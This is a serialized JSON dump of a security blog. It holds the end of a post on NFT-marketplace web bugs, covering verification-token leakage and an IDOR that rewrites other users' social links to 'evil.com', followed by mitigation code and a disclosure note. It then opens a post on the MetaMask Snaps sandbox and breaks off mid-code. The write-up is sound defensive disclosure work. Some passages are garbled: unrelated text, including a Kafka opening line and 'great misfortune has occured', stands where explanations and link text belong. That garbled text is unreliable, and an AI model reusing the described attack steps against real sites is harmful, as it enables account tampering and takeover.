",{"type":23,"tag":190,"props":32316,"children":32319},{"href":32317,"rel":32318},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[194],[32320],{"type":28,"value":32321},"great misfortune has occured",{"type":28,"value":199},{"type":23,"tag":7092,"props":32324,"children":32326},{"id":32325},"verification-token-leakage",[32327],{"type":28,"value":32328},"Verification Token Leakage",{"type":23,"tag":24,"props":32330,"children":32331},{},[32332],{"type":28,"value":32333},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":23,"tag":24,"props":32335,"children":32336},{},[32337],{"type":28,"value":32338},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":23,"tag":24,"props":32340,"children":32341},{},[32342,32347],{"type":23,"tag":127,"props":32343,"children":32344},{},[32345],{"type":28,"value":32346},"Proof of Concept",{"type":28,"value":32348},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":23,"tag":24,"props":32350,"children":32351},{},[32352],{"type":28,"value":32353},"Here's the breakdown.",{"type":23,"tag":24,"props":32355,"children":32356},{},[32357],{"type":28,"value":32358},"First, we send the verification link to a user's email:",{"type":23,"tag":28861,"props":32360,"children":32361},{"style":28863},[32362],{"type":23,"tag":149,"props":32363,"children":32367},{"src":32364,"alt":32365,"style":32366},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":23,"tag":24,"props":32369,"children":32370},{},[32371],{"type":28,"value":32372},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":23,"tag":7092,"props":32374,"children":32376},{"id":32375},"idor",[32377],{"type":28,"value":32378},"IDOR",{"type":23,"tag":24,"props":32380,"children":32381},{},[32382],{"type":23,"tag":127,"props":32383,"children":32384},{},[32385,32387,32394],{"type":28,"value":32386},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":23,"tag":190,"props":32388,"children":32391},{"href":32389,"rel":32390},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[194],[32392],{"type":28,"value":32393},"insect",{"type":28,"value":199},{"type":23,"tag":24,"props":32396,"children":32397},{},[32398,32400,32406],{"type":28,"value":32399},"During a security assessment of the ",{"type":23,"tag":190,"props":32401,"children":32404},{"href":32402,"rel":32403},"https://rocki.com",[194],[32405],{"type":28,"value":28799},{"type":28,"value":32407},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":23,"tag":24,"props":32409,"children":32410},{},[32411],{"type":28,"value":32412},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":23,"tag":24,"props":32414,"children":32415},{},[32416],{"type":28,"value":32417},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":23,"tag":24,"props":32419,"children":32420},{},[32421,32423,32429,32431,32436],{"type":28,"value":32422},"Here is an example of a request that modifies another user's social media link to ",{"type":23,"tag":64,"props":32424,"children":32426},{"className":32425},[],[32427],{"type":28,"value":32428},"https://evil.com/",{"type":28,"value":32430},". To achieve this, we simply changed the ",{"type":23,"tag":64,"props":32432,"children":32434},{"className":32433},[],[32435],{"type":28,"value":1011},{"type":28,"value":32437}," field value to one that belongs to another user:",{"type":23,"tag":24,"props":32439,"children":32440},{},[32441],{"type":23,"tag":149,"props":32442,"children":32444},{"alt":7,"src":32443},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":23,"tag":24,"props":32446,"children":32447},{},[32448],{"type":28,"value":32449},"The following screenshot is the response to our request:",{"type":23,"tag":24,"props":32451,"children":32452},{},[32453],{"type":23,"tag":149,"props":32454,"children":32456},{"alt":7,"src":32455},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":23,"tag":31,"props":32458,"children":32460},{"id":32459},"preventative-action-steps-for-marketplaces",[32461],{"type":23,"tag":2875,"props":32462,"children":32463},{},[32464],{"type":28,"value":32465},"Preventative Action Steps for Marketplaces",{"type":23,"tag":24,"props":32467,"children":32468},{},[32469],{"type":28,"value":32470},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":23,"tag":24,"props":32472,"children":32473},{},[32474,32476,32482,32484,32490],{"type":28,"value":32475},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":23,"tag":64,"props":32477,"children":32479},{"className":32478},[],[32480],{"type":28,"value":32481},"innerText",{"type":28,"value":32483}," instead of ",{"type":23,"tag":64,"props":32485,"children":32487},{"className":32486},[],[32488],{"type":28,"value":32489},"innerHTML",{"type":28,"value":32491}," in client-side:",{"type":23,"tag":435,"props":32493,"children":32495},{"className":28878,"code":32494,"language":28880,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[32496],{"type":23,"tag":64,"props":32497,"children":32498},{"__ignoreMap":7},[32499],{"type":23,"tag":481,"props":32500,"children":32501},{"class":483,"line":484},[32502,32506,32510,32515,32519,32524,32528,32532,32536,32541],{"type":23,"tag":481,"props":32503,"children":32504},{"style":508},[32505],{"type":28,"value":30223},{"type":23,"tag":481,"props":32507,"children":32508},{"style":525},[32509],{"type":28,"value":199},{"type":23,"tag":481,"props":32511,"children":32512},{"style":610},[32513],{"type":28,"value":32514},"getElementById",{"type":23,"tag":481,"props":32516,"children":32517},{"style":525},[32518],{"type":28,"value":618},{"type":23,"tag":481,"props":32520,"children":32521},{"style":1805},[32522],{"type":28,"value":32523},"'nftCollectionName'",{"type":23,"tag":481,"props":32525,"children":32526},{"style":525},[32527],{"type":28,"value":18240},{"type":23,"tag":481,"props":32529,"children":32530},{"style":508},[32531],{"type":28,"value":32481},{"type":23,"tag":481,"props":32533,"children":32534},{"style":514},[32535],{"type":28,"value":517},{"type":23,"tag":481,"props":32537,"children":32538},{"style":508},[32539],{"type":28,"value":32540}," nftCollectionName",{"type":23,"tag":481,"props":32542,"children":32543},{"style":525},[32544],{"type":28,"value":528},{"type":23,"tag":24,"props":32546,"children":32547},{},[32548],{"type":28,"value":32549},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":23,"tag":435,"props":32551,"children":32553},{"className":28878,"code":32552,"language":28880,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[32554],{"type":23,"tag":64,"props":32555,"children":32556},{"__ignoreMap":7},[32557],{"type":23,"tag":481,"props":32558,"children":32559},{"class":483,"line":484},[32560,32565,32570,32574,32579,32583,32588,32592,32597],{"type":23,"tag":481,"props":32561,"children":32562},{"style":497},[32563],{"type":28,"value":32564},"var",{"type":23,"tag":481,"props":32566,"children":32567},{"style":508},[32568],{"type":28,"value":32569}," sanitizedInput",{"type":23,"tag":481,"props":32571,"children":32572},{"style":514},[32573],{"type":28,"value":517},{"type":23,"tag":481,"props":32575,"children":32576},{"style":508},[32577],{"type":28,"value":32578}," DOMPurify",{"type":23,"tag":481,"props":32580,"children":32581},{"style":525},[32582],{"type":28,"value":199},{"type":23,"tag":481,"props":32584,"children":32585},{"style":610},[32586],{"type":28,"value":32587},"sanitize",{"type":23,"tag":481,"props":32589,"children":32590},{"style":525},[32591],{"type":28,"value":618},{"type":23,"tag":481,"props":32593,"children":32594},{"style":508},[32595],{"type":28,"value":32596},"userInput",{"type":23,"tag":481,"props":32598,"children":32599},{"style":525},[32600],{"type":28,"value":1366},{"type":23,"tag":24,"props":32602,"children":32603},{},[32604,32606,32613],{"type":28,"value":32605},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":23,"tag":190,"props":32607,"children":32610},{"href":32608,"rel":32609},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[194],[32611],{"type":28,"value":32612},"Content-Security-Policy",{"type":28,"value":32614}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":23,"tag":24,"props":32616,"children":32617},{},[32618],{"type":28,"value":32619},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":23,"tag":24,"props":32621,"children":32622},{},[32623,32625,32632],{"type":28,"value":32624},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":23,"tag":190,"props":32626,"children":32629},{"href":32627,"rel":32628},"https://www.techtarget.com/whatis/definition/whitelist",[194],[32630],{"type":28,"value":32631},"allow-list",{"type":28,"value":32633}," :",{"type":23,"tag":435,"props":32635,"children":32637},{"className":28878,"code":32636,"language":28880,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n throw new ApolloError('invalid domain');\n}\n",[32638],{"type":23,"tag":64,"props":32639,"children":32640},{"__ignoreMap":7},[32641,32670,32712,32742],{"type":23,"tag":481,"props":32642,"children":32643},{"class":483,"line":484},[32644,32648,32653,32657,32661,32666],{"type":23,"tag":481,"props":32645,"children":32646},{"style":497},[32647],{"type":28,"value":7139},{"type":23,"tag":481,"props":32649,"children":32650},{"style":508},[32651],{"type":28,"value":32652}," allowDomains",{"type":23,"tag":481,"props":32654,"children":32655},{"style":514},[32656],{"type":28,"value":517},{"type":23,"tag":481,"props":32658,"children":32659},{"style":525},[32660],{"type":28,"value":20531},{"type":23,"tag":481,"props":32662,"children":32663},{"style":1805},[32664],{"type":28,"value":32665},"'https://allowed-domain'",{"type":23,"tag":481,"props":32667,"children":32668},{"style":525},[32669],{"type":28,"value":29089},{"type":23,"tag":481,"props":32671,"children":32672},{"class":483,"line":351},[32673,32677,32681,32685,32690,32694,32699,32703,32707],{"type":23,"tag":481,"props":32674,"children":32675},{"style":535},[32676],{"type":28,"value":13069},{"type":23,"tag":481,"props":32678,"children":32679},{"style":525},[32680],{"type":28,"value":578},{"type":23,"tag":481,"props":32682,"children":32683},{"style":514},[32684],{"type":28,"value":18119},{"type":23,"tag":481,"props":32686,"children":32687},{"style":508},[32688],{"type":28,"value":32689},"allowDomains",{"type":23,"tag":481,"props":32691,"children":32692},{"style":525},[32693],{"type":28,"value":199},{"type":23,"tag":481,"props":32695,"children":32696},{"style":610},[32697],{"type":28,"value":32698},"includes",{"type":23,"tag":481,"props":32700,"children":32701},{"style":525},[32702],{"type":28,"value":618},{"type":23,"tag":481,"props":32704,"children":32705},{"style":508},[32706],{"type":28,"value":30233},{"type":23,"tag":481,"props":32708,"children":32709},{"style":525},[32710],{"type":28,"value":32711},")) {\n",{"type":23,"tag":481,"props":32713,"children":32714},{"class":483,"line":531},[32715,32720,32724,32729,32733,32738],{"type":23,"tag":481,"props":32716,"children":32717},{"style":535},[32718],{"type":28,"value":32719}," throw",{"type":23,"tag":481,"props":32721,"children":32722},{"style":497},[32723],{"type":28,"value":29448},{"type":23,"tag":481,"props":32725,"children":32726},{"style":610},[32727],{"type":28,"value":32728}," ApolloError",{"type":23,"tag":481,"props":32730,"children":32731},{"style":525},[32732],{"type":28,"value":618},{"type":23,"tag":481,"props":32734,"children":32735},{"style":1805},[32736],{"type":28,"value":32737},"'invalid domain'",{"type":23,"tag":481,"props":32739,"children":32740},{"style":525},[32741],{"type":28,"value":1366},{"type":23,"tag":481,"props":32743,"children":32744},{"class":483,"line":567},[32745],{"type":23,"tag":481,"props":32746,"children":32747},{"style":525},[32748],{"type":28,"value":1443},{"type":23,"tag":24,"props":32750,"children":32751},{},[32752,32754,32761,32763,32770],{"type":28,"value":32753},"As ",{"type":23,"tag":190,"props":32755,"children":32758},{"href":32756,"rel":32757},"https://graphql.org/",[194],[32759],{"type":28,"value":32760},"GraphQl",{"type":28,"value":32762}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":23,"tag":190,"props":32764,"children":32767},{"href":32765,"rel":32766},"https://graphql.org/learn/introspection/",[194],[32768],{"type":28,"value":32769},"introspection",{"type":28,"value":32771}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":23,"tag":435,"props":32773,"children":32775},{"className":28878,"code":32774,"language":28880,"meta":7,"style":7},"const server = new ApolloServer({\n typeDefs,\n resolvers,\n introspection: false,\n});\n",[32776],{"type":23,"tag":64,"props":32777,"children":32778},{"__ignoreMap":7},[32779,32808,32820,32832,32848],{"type":23,"tag":481,"props":32780,"children":32781},{"class":483,"line":484},[32782,32786,32791,32795,32799,32804],{"type":23,"tag":481,"props":32783,"children":32784},{"style":497},[32785],{"type":28,"value":7139},{"type":23,"tag":481,"props":32787,"children":32788},{"style":508},[32789],{"type":28,"value":32790}," server",{"type":23,"tag":481,"props":32792,"children":32793},{"style":514},[32794],{"type":28,"value":517},{"type":23,"tag":481,"props":32796,"children":32797},{"style":497},[32798],{"type":28,"value":29448},{"type":23,"tag":481,"props":32800,"children":32801},{"style":610},[32802],{"type":28,"value":32803}," ApolloServer",{"type":23,"tag":481,"props":32805,"children":32806},{"style":525},[32807],{"type":28,"value":12629},{"type":23,"tag":481,"props":32809,"children":32810},{"class":483,"line":351},[32811,32816],{"type":23,"tag":481,"props":32812,"children":32813},{"style":508},[32814],{"type":28,"value":32815}," typeDefs",{"type":23,"tag":481,"props":32817,"children":32818},{"style":525},[32819],{"type":28,"value":1033},{"type":23,"tag":481,"props":32821,"children":32822},{"class":483,"line":531},[32823,32828],{"type":23,"tag":481,"props":32824,"children":32825},{"style":508},[32826],{"type":28,"value":32827}," resolvers",{"type":23,"tag":481,"props":32829,"children":32830},{"style":525},[32831],{"type":28,"value":1033},{"type":23,"tag":481,"props":32833,"children":32834},{"class":483,"line":567},[32835,32840,32844],{"type":23,"tag":481,"props":32836,"children":32837},{"style":508},[32838],{"type":28,"value":32839}," introspection:",{"type":23,"tag":481,"props":32841,"children":32842},{"style":497},[32843],{"type":28,"value":6539},{"type":23,"tag":481,"props":32845,"children":32846},{"style":525},[32847],{"type":28,"value":1033},{"type":23,"tag":481,"props":32849,"children":32850},{"class":483,"line":678},[32851],{"type":23,"tag":481,"props":32852,"children":32853},{"style":525},[32854],{"type":28,"value":32855},"});\n",{"type":23,"tag":24,"props":32857,"children":32858},{},[32859,32861,32868,32870,32877],{"type":28,"value":32860},"Similarly, when ",{"type":23,"tag":190,"props":32862,"children":32865},{"href":32863,"rel":32864},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[194],[32866],{"type":28,"value":32867},"batching",{"type":28,"value":32869}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":23,"tag":190,"props":32871,"children":32874},{"href":32872,"rel":32873},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[194],[32875],{"type":28,"value":32876},"denial-of-service",{"type":28,"value":32878}," (DoS) attacks.",{"type":23,"tag":24,"props":32880,"children":32881},{},[32882],{"type":28,"value":32883},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":23,"tag":24,"props":32885,"children":32886},{},[32887],{"type":28,"value":32888},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":23,"tag":32890,"props":32891,"children":32892},"h1",{"id":26445},[32893],{"type":28,"value":16443},{"type":23,"tag":24,"props":32895,"children":32896},{},[32897],{"type":28,"value":32898},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":23,"tag":24,"props":32900,"children":32901},{},[32902],{"type":28,"value":32903},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":23,"tag":31,"props":32905,"children":32907},{"id":32906},"disclaimer",[32908],{"type":28,"value":32909},"Disclaimer",{"type":23,"tag":24,"props":32911,"children":32912},{},[32913],{"type":28,"value":32914},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":23,"tag":2918,"props":32916,"children":32917},{},[32918],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":32920},[32921,32924,32930,32934,32935],{"id":26528,"depth":351,"text":26531,"children":32922},[32923],{"id":411,"depth":531,"text":414},{"id":28722,"depth":351,"text":28752,"children":32925},[32926,32927,32928,32929],{"id":28771,"depth":531,"text":28774},{"id":28836,"depth":531,"text":28839},{"id":31668,"depth":531,"text":31671},{"id":31958,"depth":531,"text":31961},{"id":32303,"depth":351,"text":32306,"children":32931},[32932,32933],{"id":32325,"depth":531,"text":32328},{"id":32375,"depth":531,"text":32378},{"id":32459,"depth":351,"text":32465},{"id":32906,"depth":351,"text":32909},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":32940,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":32941,"description":32942,"author":32943,"image":32944,"date":32946,"isFeatured":15,"onBlogPage":15,"body":32947,"_type":358,"_id":37963,"_source":360,"_file":37964,"_stem":37965,"_extension":363},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[28716,28715],{"src":32945,"height":11110,"width":11111},"/posts/metamask-snaps/header.png","2023-11-01",{"type":20,"children":32948,"toc":37944},[32949,32953,32958,32963,32968,32974,32979,32985,32998,33003,33008,33015,33047,33053,33058,33076,33083,33089,33103,33109,33129,33393,33421,33427,33446,33832,33851,33864,34182,34203,34474,34479,34485,34490,34503,34508,34521,34780,34824,34837,34843,34857,34863,34869,34882,34919,34925,34945,35056,35083,35089,35107,35120,35126,35131,35149,35260,35265,35286,35299,35316,35416,35442,35459,35581,35607,35619,35624,35630,35636,35641,35664,35669,35674,35680,35686,35713,36116,36143,36170,36176,36207,36516,36535,36540,36565,36578,36584,36611,36906,36942,36960,36965,37000,37005,37009,37014,37021,37026,37053,37830,37850,37856,37877,37926,37930,37935,37940],{"type":23,"tag":31,"props":32950,"children":32951},{"id":16452},[32952],{"type":28,"value":16455},{"type":23,"tag":24,"props":32954,"children":32955},{},[32956],{"type":28,"value":32957},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":23,"tag":24,"props":32959,"children":32960},{},[32961],{"type":28,"value":32962},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":23,"tag":24,"props":32964,"children":32965},{},[32966],{"type":28,"value":32967},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":23,"tag":31,"props":32969,"children":32971},{"id":32970},"sandbox-security",[32972],{"type":28,"value":32973},"Sandbox Security",{"type":23,"tag":24,"props":32975,"children":32976},{},[32977],{"type":28,"value":32978},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":23,"tag":7092,"props":32980,"children":32982},{"id":32981},"permission-based-security",[32983],{"type":28,"value":32984},"Permission-based security",{"type":23,"tag":24,"props":32986,"children":32987},{},[32988,32990,32996],{"type":28,"value":32989},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":23,"tag":64,"props":32991,"children":32993},{"className":32992},[],[32994],{"type":28,"value":32995},"snap.manifest.json",{"type":28,"value":32997}," file and can be critical to security.",{"type":23,"tag":24,"props":32999,"children":33000},{},[33001],{"type":28,"value":33002},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":23,"tag":24,"props":33004,"children":33005},{},[33006],{"type":28,"value":33007},"Here are the critical permissions possible to be given to a snap:",{"type":23,"tag":24,"props":33009,"children":33010},{},[33011],{"type":23,"tag":149,"props":33012,"children":33014},{"alt":7,"src":33013},"/posts/metamask-snaps/permissions.png",[],{"type":23,"tag":14178,"props":33016,"children":33017},{},[33018,33036],{"type":23,"tag":77,"props":33019,"children":33020},{},[33021,33027,33028,33034],{"type":23,"tag":64,"props":33022,"children":33024},{"className":33023},[],[33025],{"type":28,"value":33026},"snap_getBip44Entropy",{"type":28,"value":8478},{"type":23,"tag":64,"props":33029,"children":33031},{"className":33030},[],[33032],{"type":28,"value":33033},"snap_getBip32Entropy",{"type":28,"value":33035}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":23,"tag":77,"props":33037,"children":33038},{},[33039,33045],{"type":23,"tag":64,"props":33040,"children":33042},{"className":33041},[],[33043],{"type":28,"value":33044},"endowment:transaction-insight",{"type":28,"value":33046}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":23,"tag":7092,"props":33048,"children":33050},{"id":33049},"snap-execution-environment",[33051],{"type":28,"value":33052},"Snap execution environment",{"type":23,"tag":24,"props":33054,"children":33055},{},[33056],{"type":28,"value":33057},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":23,"tag":73,"props":33059,"children":33060},{},[33061,33066,33071],{"type":23,"tag":77,"props":33062,"children":33063},{},[33064],{"type":28,"value":33065},"An isolated iframe",{"type":23,"tag":77,"props":33067,"children":33068},{},[33069],{"type":28,"value":33070},"LavaMoat",{"type":23,"tag":77,"props":33072,"children":33073},{},[33074],{"type":28,"value":33075},"SES (Secure EcmaScript)",{"type":23,"tag":24,"props":33077,"children":33078},{},[33079],{"type":23,"tag":149,"props":33080,"children":33082},{"alt":7,"src":33081},"/posts/metamask-snaps/environment.png",[],{"type":23,"tag":7092,"props":33084,"children":33086},{"id":33085},"isolated-iframe-layer-1",[33087],{"type":28,"value":33088},"Isolated Iframe - Layer 1",{"type":23,"tag":24,"props":33090,"children":33091},{},[33092,33094,33101],{"type":28,"value":33093},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":23,"tag":190,"props":33095,"children":33098},{"href":33096,"rel":33097},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[194],[33099],{"type":28,"value":33100},"Iframe",{"type":28,"value":33102}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":23,"tag":16388,"props":33104,"children":33106},{"id":33105},"the-framework-metamask-extension-repo",[33107],{"type":28,"value":33108},"The Framework: Metamask-Extension Repo",{"type":23,"tag":24,"props":33110,"children":33111},{},[33112,33114,33120,33122,33128],{"type":28,"value":33113},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":23,"tag":64,"props":33115,"children":33117},{"className":33116},[],[33118],{"type":28,"value":33119},"metamask-controller.js",{"type":28,"value":33121}," file. Here's a glimpse of the relevant ",{"type":23,"tag":190,"props":33123,"children":33126},{"href":33124,"rel":33125},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[194],[33127],{"type":28,"value":64},{"type":28,"value":287},{"type":23,"tag":435,"props":33130,"children":33134},{"className":33131,"code":33132,"language":33133,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n messenger: this.controllerMessenger.getRestricted({\n name: 'ExecutionService',\n }),\n setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n 'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[33135],{"type":23,"tag":64,"props":33136,"children":33137},{"__ignoreMap":7},[33138,33146,33154,33174,33222,33257,33274,33282,33324,33331,33338,33346,33374,33386],{"type":23,"tag":481,"props":33139,"children":33140},{"class":483,"line":484},[33141],{"type":23,"tag":481,"props":33142,"children":33143},{"style":488},[33144],{"type":28,"value":33145},"// Import snaps-controllers\n",{"type":23,"tag":481,"props":33147,"children":33148},{"class":483,"line":351},[33149],{"type":23,"tag":481,"props":33150,"children":33151},{"style":488},[33152],{"type":28,"value":33153},"// ...\n",{"type":23,"tag":481,"props":33155,"children":33156},{"class":483,"line":531},[33157,33161,33166,33170],{"type":23,"tag":481,"props":33158,"children":33159},{"style":497},[33160],{"type":28,"value":7139},{"type":23,"tag":481,"props":33162,"children":33163},{"style":508},[33164],{"type":28,"value":33165}," snapExecutionServiceArgs",{"type":23,"tag":481,"props":33167,"children":33168},{"style":514},[33169],{"type":28,"value":517},{"type":23,"tag":481,"props":33171,"children":33172},{"style":525},[33173],{"type":28,"value":809},{"type":23,"tag":481,"props":33175,"children":33176},{"class":483,"line":567},[33177,33182,33186,33191,33195,33200,33204,33209,33213,33218],{"type":23,"tag":481,"props":33178,"children":33179},{"style":508},[33180],{"type":28,"value":33181}," iframeUrl:",{"type":23,"tag":481,"props":33183,"children":33184},{"style":497},[33185],{"type":28,"value":29448},{"type":23,"tag":481,"props":33187,"children":33188},{"style":610},[33189],{"type":28,"value":33190}," URL",{"type":23,"tag":481,"props":33192,"children":33193},{"style":525},[33194],{"type":28,"value":618},{"type":23,"tag":481,"props":33196,"children":33197},{"style":508},[33198],{"type":28,"value":33199},"process",{"type":23,"tag":481,"props":33201,"children":33202},{"style":525},[33203],{"type":28,"value":199},{"type":23,"tag":481,"props":33205,"children":33206},{"style":508},[33207],{"type":28,"value":33208},"env",{"type":23,"tag":481,"props":33210,"children":33211},{"style":525},[33212],{"type":28,"value":199},{"type":23,"tag":481,"props":33214,"children":33215},{"style":508},[33216],{"type":28,"value":33217},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":23,"tag":481,"props":33219,"children":33220},{"style":525},[33221],{"type":28,"value":4214},{"type":23,"tag":481,"props":33223,"children":33224},{"class":483,"line":678},[33225,33230,33235,33239,33244,33248,33253],{"type":23,"tag":481,"props":33226,"children":33227},{"style":508},[33228],{"type":28,"value":33229}," messenger:",{"type":23,"tag":481,"props":33231,"children":33232},{"style":497},[33233],{"type":28,"value":33234}," this",{"type":23,"tag":481,"props":33236,"children":33237},{"style":525},[33238],{"type":28,"value":199},{"type":23,"tag":481,"props":33240,"children":33241},{"style":508},[33242],{"type":28,"value":33243},"controllerMessenger",{"type":23,"tag":481,"props":33245,"children":33246},{"style":525},[33247],{"type":28,"value":199},{"type":23,"tag":481,"props":33249,"children":33250},{"style":610},[33251],{"type":28,"value":33252},"getRestricted",{"type":23,"tag":481,"props":33254,"children":33255},{"style":525},[33256],{"type":28,"value":12629},{"type":23,"tag":481,"props":33258,"children":33259},{"class":483,"line":784},[33260,33265,33270],{"type":23,"tag":481,"props":33261,"children":33262},{"style":508},[33263],{"type":28,"value":33264}," name:",{"type":23,"tag":481,"props":33266,"children":33267},{"style":1805},[33268],{"type":28,"value":33269}," 'ExecutionService'",{"type":23,"tag":481,"props":33271,"children":33272},{"style":525},[33273],{"type":28,"value":1033},{"type":23,"tag":481,"props":33275,"children":33276},{"class":483,"line":812},[33277],{"type":23,"tag":481,"props":33278,"children":33279},{"style":525},[33280],{"type":28,"value":33281}," }),\n",{"type":23,"tag":481,"props":33283,"children":33284},{"class":483,"line":825},[33285,33290,33294,33298,33303,33307,33312,33316,33320],{"type":23,"tag":481,"props":33286,"children":33287},{"style":508},[33288],{"type":28,"value":33289}," 